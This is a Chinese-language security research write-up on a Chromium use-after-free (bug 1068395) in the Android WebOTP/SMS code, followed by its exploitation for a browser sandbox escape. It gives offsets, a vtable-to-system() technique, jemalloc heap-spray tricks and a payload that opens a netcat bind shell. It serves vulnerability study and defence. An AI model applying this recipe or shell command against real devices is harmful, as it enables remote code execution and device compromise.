渐入佳境:深入分析Chromium RenderFrameHostImpl UAF漏洞利用

 

0x00 概述

早在2020年,我在对Chromium代码进行审计的时候,就发现了漏洞1068395,这是一个释放后使用(UAF)的浏览器进程,可以被攻击者用于实现Android设备上的Chromium沙箱逃逸。这是一个有意思的漏洞,因为它是Chromium代码库中经常出现的漏洞模式。

这个漏洞是一个不错的例子,如果我们能对这种模式以及攻击者的利用方式有一个很好的了解,就能够学到知识并得到启发,并在接下来的代码审计和模糊测试过程中更轻车熟路地找到问题点。最重要的是,漏洞分析可以帮助我们了解如何缓解这类安全漏洞。

现在,我们假设渲染程序进程已经被攻击者成功实现类似1126249的漏洞利用,分析在此场景中如何利用1068395漏洞。

 

0x01 关于RenderFrameHost

在我们浏览网站时,浏览器进程都会产生一个新的Renderer进程。这个进程会解析网站的内容(例如JavaScript、HTML和CSS),并将其显示在其主框架上。为了追踪主框架并与之通信,浏览器进程将会实例化一个RenderFrameHostImpl(RFH)对象,以表示Renderer的主框架。

让事情变得更加复杂的是,一个网站可能会具有多个子框架(iframe),这些子框架会将另一个页面的上下文嵌入到主框架中,而这个页面上下文可以随时通过JavaScript创建和销毁。如果嵌入源与主框架相同,那么渲染器进程将创建一个“框架”对象,并使用框架树数据结构对其进行跟踪。浏览器进程将镜像这一行为,并为每一个新的子框架创建一个新的RFH对象。但是,如果上下文的来源不同,则由于站点之间互相隔离,浏览器进程将会生成一个新的Renderer进程。

对我们来说,上述描述的行为可以理解为——我们能通过JavaScript控制RFH对象的创建和销毁(或其生命周期)。那么,我们是否能在这种行为中寻找到安全漏洞呢?

RenderFrameHost和Mojo接口

如今,现代Web浏览器的实现中考虑到了多进程体系结构。在这个模型中,我们通过非常严格或锁定的进程(也称为沙箱进程)来解析不受信任的内容。为了提供对此类锁定进程的资源访问,我们有一个“broker进程”。在上述案例中,这也就是“浏览器进程”。浏览器进程可以通过进程间通信(IPC)的机制提供对这些受限资源的访问。

Chromium有两种IPC机制,一种是旧版本的IPC,另一种是Mojo IPC。如今,大多数需要向Renderer进程(不可信/沙箱化进程)公开资源的功能都会使用Mojo接口来实现。例如,使用mojom文件来描述这些接口(来自mojo_and_services.md):

interface PingResponder {
  // Receives a "Ping" and responds with a random integer.
  Ping() => (int32 random);
};

Mojo接口通常是按框架绑定的,因此,在每次创建iframe并请求绑定到新的Mojo接口时,最终都可能会在浏览器进程中分配一个新的Mojo接口对象(或绑定到现有的Mojo接口对象中)。如果大家不太了解向iframe公开了哪些接口,可以查看browser_interface_binders.cc。正如BrowserInterfaceBroker所解释的,这里有一个技巧,不同的“执行类型”(又称为iframe/document/service worker等)可能具有不同的binder函数,因此也公开了不同的接口集。我们可以在PopulateServiceWorkerBindersPopulateFrameBinders中观察到这一点。

说明:可以通过关注browser_interface_binders.cc中的提交更新,来发现新的Mojo接口。

通过Mojo可以访问的许多对象都不需要访问网页本身,而仅仅是为了方便进行沙箱中不允许的特权操作。但是,在某些情况下,Mojo接口对象可能需要访问已对其进行实例化的RFH对象,例如访问其RFH的WebContentsImpl对象、访问其RenderFrameProcess对象等等。

一种实现方式是提供指向RFH的原始指针,该指针已经在Mojo接口对象构造函数中实例化了该接口。然后,构造函数可以将此指针存储为类成员。我们可以在SensorProviderProxyImpl中看到这样的行为:

SensorProviderProxyImpl::SensorProviderProxyImpl(
    PermissionControllerImpl* permission_controller,
    RenderFrameHost* render_frame_host)
    : permission_controller_(permission_controller),
      render_frame_host_(render_frame_host) { // [1]

  DCHECK(permission_controller);
  DCHECK(render_frame_host);
}

在上述[1]中,SensorProviderProxyImpl将存储已经实例化为成员的RFH原始指针。现在,一个问题是在于,我们是否可以让Mojo接口不会超过RFH对象的生命周期呢?我们可以通过分析如何创建Mojo接口对象来找到这个问题的答案。代码如下:

void RenderFrameHostImpl::GetSensorProvider(
    mojo::PendingReceiver<device::mojom::SensorProvider> receiver) {
  if (!sensor_provider_proxy_) {
    sensor_provider_proxy_ = std::make_unique<SensorProviderProxyImpl>( // [2]
        PermissionControllerImpl::FromBrowserContext(
            GetProcess()->GetBrowserContext()),
        this);
  }
  sensor_provider_proxy_->Bind(std::move(receiver));
}

SensorProvider Mojo接口对象是RenderFrameHostImpl类[2]中的成员变量。如果sensor_provider_proxy_还没有没有初始化,它将会为其实例化std::unique_ptr。因此,我们可以保证,在生命周期相互关联的情况下,一旦RFH对象被销毁,则SensorProviderProxyImpl对象也会被销毁。

不过,Chromium的代码库比较复杂,并不是像上面说的那么容易。这里还有其他创建Mojo接口对象的方法。例如,可以通过使用Mojo::MakeSelfOwnedReceiver来实例化。文档表示,“一个独立的receiver作为一个独立的对象存在,并拥有其接口实现,会在其绑定的接口终端检测到错误时自动清除自身。

换而言之,Mojo接口对象的生命周期与其mojo连接相关联。因此,如果mojo连接保持活跃状态,则Mojo接口对象也将保持活跃状态(详细信息可以查看这里)。这意味着mojo连接的两端(浏览器和渲染器进程)都控制着对象的生命周期。Mark Brand在“Virtually Unlimited Memory: Escaping the Chrome Sandbox”文章中对其做出了很好的解释。

这也意味着,我们可能会遇到UI线程破坏RFH对象、Mojo连接仍处于活跃状态且持续处理mojo消息直至绑定检测到错误或已将其关闭为止的情况。因此,如果在这样的时间窗口内Mojo接口对象处理了一条消息,该消息将访问时放的RFH对象,从而导致使用后释放(UAF)的问题。

Chromium已经有缓解此类问题的一些功能,我们将通过一些示例来说明:

1、WebContentsObserver:如果Mojo接口实现继承自该类,我们就会有一组可能被实现覆盖的回调事件(虚拟方法)。在这些回调中,包含RenderFrameDeleted,会在每次删除RFH对象时触发。

我们可以在InstalledAppProviderImpl中观察其用法。该类用于修复“Chrome沙箱逃逸”漏洞。

void InstalledAppProviderImpl::RenderFrameDeleted(
    RenderFrameHost* render_frame_host) {
  if (render_frame_host_ == render_frame_host) {
    render_frame_host_ = nullptr;
  }
}

2、FrameServiceBase:该类类似于WebContentsObserver,但它为我们实现了所有回调,并确保一旦创建对象的RFH对象被删除,就立即释放该实现对象。

借助上述机制,可以保证我们拥有的Mojo接口不会对RFH对象产生“使用后释放”的问题。

现在,我们已经明白了Mojo接口和RFH的复杂性,以及由于管理不当而容易产生的问题,我们就可以分析看看是否能够找到漏洞。

 

0x02 进入到SmsReceiver!

同大家一样,我使用Chromium Code Search来审计Chromium的源代码。在查看browser_interface_binders.cc的提交更改以发现新的Mojo接口和其他相关更改时,SmsService引起了我的注意。我们来看看如何创建Mojo接口对象。

void RenderFrameHostImpl::BindSmsReceiverReceiver(
    mojo::PendingReceiver<blink::mojom::SmsReceiver> receiver) {

  if (GetParent() && !GetMainFrame()->GetLastCommittedOrigin().IsSameOriginWith(
                         GetLastCommittedOrigin())) {
    mojo::ReportBadMessage("Must have the same origin as the top-level frame.");
    return;
  }

  auto* fetcher = SmsFetcher::Get(GetProcess()->GetBrowserContext(), this); // [3]
  SmsService::Create(fetcher, this, std::move(receiver)); // [4]
}

首先,它将使用BrowserContext调用SmsFetcher::Get,并将其(RFH对象引用)作为参数[3]。稍后我们再来分析SmsFetcher::Get,但现在我们只需要明确,它将返回一个指向SmsFetcher对象的指针。之后,我们使用SmsFetcher对象指针和RFH对象引用作为参数,调用SmsService::Create[4]。

// static
void SmsService::Create(
    SmsFetcher* fetcher,
    RenderFrameHost* host,
    mojo::PendingReceiver<blink::mojom::SmsReceiver> receiver) {
  DCHECK(host);

  // SmsService owns itself. It will self-destruct when a Mojo interface
  // error occurs, the render frame host is deleted, or the render frame host
  // navigates to a new document.
  new SmsService(fetcher, host, std::move(receiver)); // [5]
}

SmsService::SmsService(
    SmsFetcher* fetcher,
    const url::Origin& origin,
    RenderFrameHost* host,
    mojo::PendingReceiver<blink::mojom::SmsReceiver> receiver)
    : FrameServiceBase(host, std::move(receiver)), // [6]
      fetcher_(fetcher),
      origin_(origin) {}

正如上面的代码注释所说,Mojo接口对象拥有其自身[5]。它没有使用mojo::MakeSelfOwnedReceiver,但SmsService继承自FrameServiceBase[6],也具有类似的效果。在SmsService构造函数中,我们可以看到它将使用RFH对象引用初始化FrameServiceBase[6],以便跟踪RFH对象状态。

我们已经了解过,FrameServiceBase回报正在删除RFH对象后立即删除mojo接口对象,所以在这一点上不存在UAF漏洞。接下来,我们转到另一个mojo接口实现,回到BindSmsReceiverReceiver函数。

我们特别注意到以下行:

auto* fetcher = SmsFetcher::Get(GetProcess()->GetBrowserContext(), this); // [7]

如前所述,这个函数将创建(或获取已创建的)SmsFetcher对象并返回[7],让我们进一步来分析一下:

SmsFetcher* SmsFetcher::Get(BrowserContext* context, RenderFrameHost* rfh) {

  auto* stored_fetcher = static_cast<SmsFetcherImpl*>(
      context->GetUserData(kSmsFetcherImplKeyName)); // [8]

  if (!stored_fetcher || !stored_fetcher->CanReceiveSms()) { // [9]
    auto fetcher =
        std::make_unique<SmsFetcherImpl>(context, SmsProvider::Create(rfh));
    context->SetUserData(kSmsFetcherImplKeyName, std::move(fetcher));
  }

  return static_cast<SmsFetcherImpl*>(
      context->GetUserData(kSmsFetcherImplKeyName)); // [10]
}

这里代码做的第一件事是检查BrowserContext是否在其中存储了SmsFtecherObject [8],这也就意味着,SmsFetcher的生命周期与BrowserContext的生命周期具有强相关!如果二者都存在,并且可以接收SMS消息[9],则将在[10]的位置返回对其的引用。

但是,如果它不能接收SMS消息或者尚未创建,则此时会创建一个新的SmsFetcherImpl对象[9]。SmsFetcherImpl构造函数预期一个SmsProvider对象,该对象是使用我们的RFH对象作为参数调用Create方法而创建的。现在,我们来看一下SmsProvider::Create方法。

// static
std::unique_ptr<SmsProvider> SmsProvider::Create(RenderFrameHost* rfh) {
#if defined(OS_ANDROID)
  if (base::CommandLine::ForCurrentProcess()->GetSwitchValueASCII(
          switches::kWebOtpBackend) ==
      switches::kWebOtpBackendSmsVerification) {
    return std::make_unique<SmsProviderGmsVerification>();
  }
  return std::make_unique<SmsProviderGmsUserConsent>(rfh); // [11]
#else
  return nullptr;
#endif
}

这里有两种SmsProvider类型:

1、SmsProviderGmsVerification:并不是我们关注的,因为它不会将RFH作为参数。

2、SmsProviderGmsUserConsent:它会接收RFH原始指针作为其构造函数的参数[11]。看起来很有希望,需要我们深挖一下。

SmsProviderGmsUserConsent::SmsProviderGmsUserConsent(RenderFrameHost* rfh)
    : SmsProvider(), render_frame_host_(rfh) { // [12]
  // This class is constructed a single time whenever the
  // first web page uses the SMS Retriever API to wait for
  // SMSes.
  JNIEnv* env = AttachCurrentThread();
  j_sms_receiver_.Reset(Java_SmsUserConsentReceiver_create(
      env, reinterpret_cast<intptr_t>(this)));
}


void SmsProviderGmsUserConsent::Retrieve() {
  JNIEnv* env = AttachCurrentThread();

  WebContents* web_contents =
      WebContents::FromRenderFrameHost(render_frame_host_); // [13]
  if (!web_contents || !web_contents->GetTopLevelNativeWindow())
    return;

  Java_SmsUserConsentReceiver_listen(
      env, j_sms_receiver_,
      web_contents->GetTopLevelNativeWindow()->GetJavaObject());
}

因此,我们将RFH对象的原始指针作为成员变量存储在SmsProviderGmsUserConsent [12]类中。这看起来很危险。每次在调用Retrieve方法[13]时,我们都最终会访问它。除非具有某种机制可以确保RFH未被删除(剧透:实际上并没有),否则就有可能会导致UAF。为了更好地理解这一点,我们创建一个“ownership/reference map”,在创建SmsFetcherImpl对象后,我们将得到类似于以下内容的结果:

很多研究人员都喜欢研究Chromium代码库,如果大家观看过“Anatomy of the browser 201 (Chrome University 2019)”,会了解到BrowserContext几乎就是我们当前的Profile。这意味着,它的生命周期要比WebContentsImplRenderFrameHostImpl还要长!

我们还了解到,并不是每次都会创建新的SmsFetcherImpl。相反,只会创建一次,后续会在每次创建新的SmsService时提供对其的引用。对于UAF漏洞利用来说,这似乎是一个机会,因为我们可以为所有新的SmsProvider Mojo接口实例重复使用相同的RFH对象指针(位于SmsProviderGmsUserConsent内部)。

然而这里也有问题,因为我们第一次创建SmsProviderGmsUserConsent时,它将存储对创建它的RFH对象的引用。但是,我们知道,即使在删除RFH对象之后,SmsFetcherImpl仍然会继续重用SmsProviderGmsUserConsent,因为没有任何机制可以确保RFH对象没有被删除。

因此,如果我们有一个绑定到SmsService接口的新RFH对象,那么SmsService对象将存储指向SmsFetcherImpl对象的原始指针,其中包含SmsProviderGmsUserConsent,里面有一个悬空的RFH指针。
为了说明这一点,我们可以看下面的示意图。

1、创建一个iframe并绑定到SmsReceiver

2、创建另一个iframe并绑定到SmsReceiver

3、删除第一个iframe(将其称为iframe A),此时iframe A的RFH对象被删除了,但SmsProviderGmsUserConsent中仍然有对它的引用。

4、iframe B调用SmsReceiver中的receive

如我们所见,最后iframe B的SmsService可能最终会解除对释放的RFH的引用。遗憾的是,FrameServiceBase并不能避免这个问题,最终还是会产生UAF的风险。

现在,我们发现了一个很酷的漏洞,接下来让我们尝试利用它在浏览器进程上下文中实现代码执行。

 

0x03 漏洞利用

至此,我们知道SmsProviderGmsUserConsent::Retrieve最终将使用我们释放的RFH来进行某些操作。我们来看一下它的用法:

void SmsProviderGmsUserConsent::Retrieve() {
  JNIEnv* env = AttachCurrentThread();

  WebContents* web_contents =
      WebContents::FromRenderFrameHost(render_frame_host_); // [14]

  if (!web_contents || !web_contents->GetTopLevelNativeWindow())
    return;

  Java_SmsUserConsentReceiver_listen(
      env, j_sms_receiver_,
      web_contents->GetTopLevelNativeWindow()->GetJavaObject());
}

首先,它将获得对已经释放的RFH的引用,并将其用作函数WebContents::FromRenderFrameHost [14]的参数。然后,它将返回一个指向WebContentsImpl对象的指针。最后,它将检查确认WebContentsImpl不是nullptr,随后执行一些Java代码,否则就会提前返回。

接下来,我们看看FromRenderFrameHost的实现:

WebContents* WebContents::FromRenderFrameHost(RenderFrameHost* rfh) {
  if (!rfh)
    return nullptr;

  if (!rfh->IsCurrent() && base::FeatureList::IsEnabled( // [15]
                   kCheckWebContentsAccessFromNonCurrentFrame)) {
    // TODO(crbug.com/1059903): return nullptr here eventually.
    base::debug::DumpWithoutCrashing();
  }

  return static_cast<RenderFrameHostImpl*>(rfh)->delegate()->GetAsWebContents(); // [16]

这里有两个使用RFH的函数调用,第一处位于[15],第二处位于[16],它将在RFH中读取成员对象,并调用其GetAsWebContents函数。这些方法的声明如下所示:

virtual bool IsCurrent() = 0;

virtual WebContents* GetAsWebContents();

如我们所见,这两种方法都被声明为虚拟方法。众所周知,编译器最终将创建一个虚拟表来处理动态调度。因此,如果我们能以某种方式来控制释放的对象,并用我们控制的假冒表来替换其虚拟表,那么就可以调用任意函数指针。一旦可以调用任意指针,就可以使用Returned-Oriented-Programming(ROP)或Jump-Oriented-Programming(JOP)来实现任意代码执行。

另外,如果我们可以让GetAsWebContents返回nullptr(0x0),就可以顺利地让浏览器继续运行,不会产生崩溃。听起来这是个不错的计划。

但是,这里有一个要解决的问题,就是地址空间布局随机化(ASLR)。我们已经获得了一个UAF漏洞,也许可以用我们所控制的内容来替换其对象虚拟表,但我们并不清楚.text、.data或堆分配在哪里,因为我们还没有获得一个信息泄露漏洞。

但这并不是放弃的理由,我们可以进一步考虑。

3.1 利用Zygote

我使用了Pixel 3A这款安卓设备作为攻击目标,在研究ASLR问题的解决方案时,我发现安卓有它自己的应用程序启动方式。它使用的是Zygote的概念,目前已经有许多文章深入介绍了它的工作方式及安全风险。

对于我们来说,Zygote本质上意味着每个新产生的进程之间都共享相同的ASLR基址,换而言之,进程最终可以在某些共享库之间共享相同的虚拟内存映射。

这非常完美,如果Renderer和Browser进程在共享库之间共享了相同的虚拟映射,那么只需要拥有一个远程代码执行漏洞(例如通过VB或Blink漏洞来接管Renderer进程)就可以帮助我们轻松击败ASLR。

3.2 我们真的需要ROP和/或JOP吗?

从原理上说,一旦我们可以用攻击者控制的数据替换内存中已释放的RFH对象,就有希望让虚拟表指向伪造的虚拟表,并跳转到ROP的任意函数或stack-pivot中。但是,对于堆段来说,ASLR仍然是一个问题,因为我们没有关于堆布局的信息。

我们可以通过调用另一个对象虚拟表来绕过堆问题,该对象虚拟表最终会将RFH这个指针写到自身(并将对象内存读回Renderer进程)。这种方法应该可以,但还有更优的方法!Guang Gong在“An exploit Chain to Remotely Root Modern Android Devices”中介绍了一种不错的技术。文章中说,libllvm-glnext.so(存在于Pixel 3A中)在其.GOT段中具有指向系统的函数指针。我们可以轻松地替换RFH虚拟表,以指向libllvm-glnext.so .GOT并进行系统调用。

这种方法的优势在于,系统的函数参数是我们可以完全控制的RFH对象的指针。现在,我们就可以在浏览器进程的上下文中使用任意命令调用系统。

3.3 保持浏览器处于活跃状态

让我们再次分析一下WebContents::FromenderFrameHost函数,不过这次是从ARM汇编的角度来看:

0x0000000000000000:  10 B5          push  {r4, lr}
0x0000000000000002:  98 B1          cbz   r0, #0x2c
0x0000000000000004:  04 46          mov   r4, r0

// R0 = RFH->vtable
0x0000000000000006:  00 68          ldr   r0, [r0]
// R1 = RFH->vtable[0xBC/0x4] -- system pointer
0x0000000000000008:  D0 F8 BC 10    ldr.w r1, [r0, #0xbc]
0x000000000000000c:  20 46          mov   r0, r4
// system(R0)
0x000000000000000e:  88 47          blx   r1 // [17]

0x0000000000000010:  30 B9          cbnz  r0, #0x20
0x0000000000000012:  07 48          ldr   r0, [pc, #0x1c]
0x0000000000000014:  78 44          add   r0, pc
0x0000000000000016:  A9 F1 42 EA    blx   #0x1a949c
0x000000000000001a:  08 B1          cbz   r0, #0x20
0x000000000000001c:  A9 F1 06 EE    blx   #0x1a9c2c

// R0 = RFH->member_7c
0x0000000000000020:  E0 6F          ldr   r0, [r4, #0x7c]
// R1 = RFH->member_7c->vtable
0x0000000000000022:  01 68          ldr   r1, [r0]
// R1 = RFH->member_7c->vtable[0x64/0x4]
0x0000000000000024:  49 6E          ldr   r1, [r1, #0x64]
0x0000000000000026:  BD E8 10 40    pop.w {r4, lr} // [18]
// return R1(), where R1 is a function that will set R0 (return value) to 0
// it'll make WebContents == nullptr and not crashing the browser :)
0x000000000000002a:  08 47          bx    r1
0x000000000000002c:  00 20          movs  r0, #0
0x000000000000002e:  10 BD          pop   {r4, pc}

如我们所见,在这里有两个虚拟函数调用。第一次调用RFH->vtable_fptr[0x2F] [17],我们可以用来调用具有受控参数的系统。但是,第二个虚拟调用RFH->member_7C->vtable_fptr[0x19] [18]对我们来说是个问题。韵味我们并没有堆内存布局的相关信息,因此就不能够轻易地伪造member_7C对象。

那么,如何解决这一问题呢?也许我们可以不去保证浏览器不崩溃,因为在崩溃发生前就可以执行完成系统命令。但是,这终究还是有一些遗憾,我们还能做一些其他事情吗?答案是肯定的,这里再次用到了Zygote@libllvm-glnext。

libllvm-glnext中存在这样的一个魔术指针,就位于偏移量0x8E4BE8(.GOT段)处,我们将获得以下调用链:

现在,我们就可以调用系统,同时保证能够恢复执行,不会再导致浏览器崩溃。

3.4 替换对象

接下来,我们希望用完全受控的内容来替换内存中的对象。在这里我们需要的是一些堆喷射的原语。在这个过程中不需要我们重复造轮子,可以利用“GPZ Virtually Unlimited Memory”展示的相同技术,它能够满足我们所有的需求。

下一步是在内存中查找RFH对象大小的大小。这是必要的,因为我们可以通过喷射与RFH对象大小相同的Payload来增加内存回收的机会。大家可以使用自己熟悉的反汇编工具、编译器、调试器或任何其他工具来实现这一点。在我的环境中,其大小是0x880字节。

如果实现上述技术进行堆喷射,可能会有效,并成功回收该对象,但也可能会有点不稳定。显然,在安卓上,至少对于编写漏洞利用工具时的安卓版本而言,浏览器进程最终将使用jemalloc作为默认堆分配器。

目前已经有大量分配器内部原理的相关文章,所以在这里就不再赘述。对我们而言需要关注的是,jemalloc实现了特定于线程的缓存。需要明确的是,我们的目标对象,即释放的RFH,是在UI线程上创建和销毁的,堆喷射技术将在IO线程上发生。因此,我们的分配可能会发生在不同的线程缓存/大块中。

由于我们希望能够从另一个线程中回收一个释放的区域(也就是我们的RFH对象),所以我们需要引发flush事件或hard事件,这些事件最终会释放tcache中的某些bins/regions区域(每个bin都有其自己的tcache,这是最近释放的区域的列表)。

一旦发生flush或hard事件,该区域现在就可以由其他线程分配。这个过程可以通过首先释放我们的目标RFH对象,然后再分配多个iframe并释放它们来实现。之后,我们可以使用堆喷射原语进行常规喷射。在我的测试中,这样似乎能够提高漏洞利用的可靠性。

3.5 组合利用

现在,利用我们掌握的所有知识,总结一下漏洞利用的工作原理。

1、创建一个子iframe,这个子iframe将使用MojoJS创建并绑定到SmsReceiver接口(因此将会创建一个指向其RFH的SmsProviderGmsUserConsent)。MojoJS可以通过被攻陷的renderer来启用。

2、从子iframe向主框架发送一个postMessage,以通知其创建Mojo接口。现在,主框架可以使用document.body.removeChild来删除子iframe。

3、在主框架中,创建另一个SmsReceiver接口。此实例将使用已经创建的SmsFetcherImpl,它具有指向释放的RFH对象的原始指针。

4、准备堆Payload:

(1)前4个字节(32位体系结构)是虚拟表指针,它将是指向libllvm-glnext.so .got.plt减去0xBC(虚拟表的偏移量)的指针,因此我们可以访问到正确的地址。

(2)接下来的字节是我们的Shell命令,格式为“|| (command)”。这样一来,它将首先将虚拟表地址作为“命令”执行,然后执行我们的Shell命令。在漏洞利用过程中,我使用了' || (toybox nc -p 4444 -l /bin/sh)’)

(3)在Payload的0x7C偏移量处,我们将有一个指向libllvm-glnext.so中“魔术函数指针”的指针,因此可以保证GetAsWebContents虚拟方法将返回值0x0,从而使SmsProviderGmsUserConsent::Retrieve提前返回,从而避免浏览器崩溃。

(4)进行堆喷射,可以使用上文提到的jemalloc技巧使漏洞利用更加可靠。

大家可以在这里看到最终版本的漏洞利用代码。

 

0x04 总结

现在,我们可以在浏览器进程的上下文中运行Shell命令。由于安卓安全模型的原因,我们可能仍然处于安卓应用程序沙箱中,从而导致资源访问受到了限制。接下来的一步是与内核漏洞组合利用,但这就是另外一个话题了。
希望大家能像我一样,在研究Chromium的过程中找到乐趣。这是一个非常好的漏洞利用练习案例。我认为,如果Zygote没有减弱安卓的ASLR机制,就很难实现这样的漏洞利用。现在,我们在了解漏洞的原理后,就可以编写更多的安全文档,让开发人员深入了解如何编写没有这种模式的Mojo接口,同时能够在安全审查中主动发现漏洞。

此外,Google一直在努力通过PartitionAlloc、MiraclePtr和*Scan这样的方法来缓解UAF漏洞。我们期待能为漏洞防御做出贡献,以使这些漏洞更难以被利用。

(完)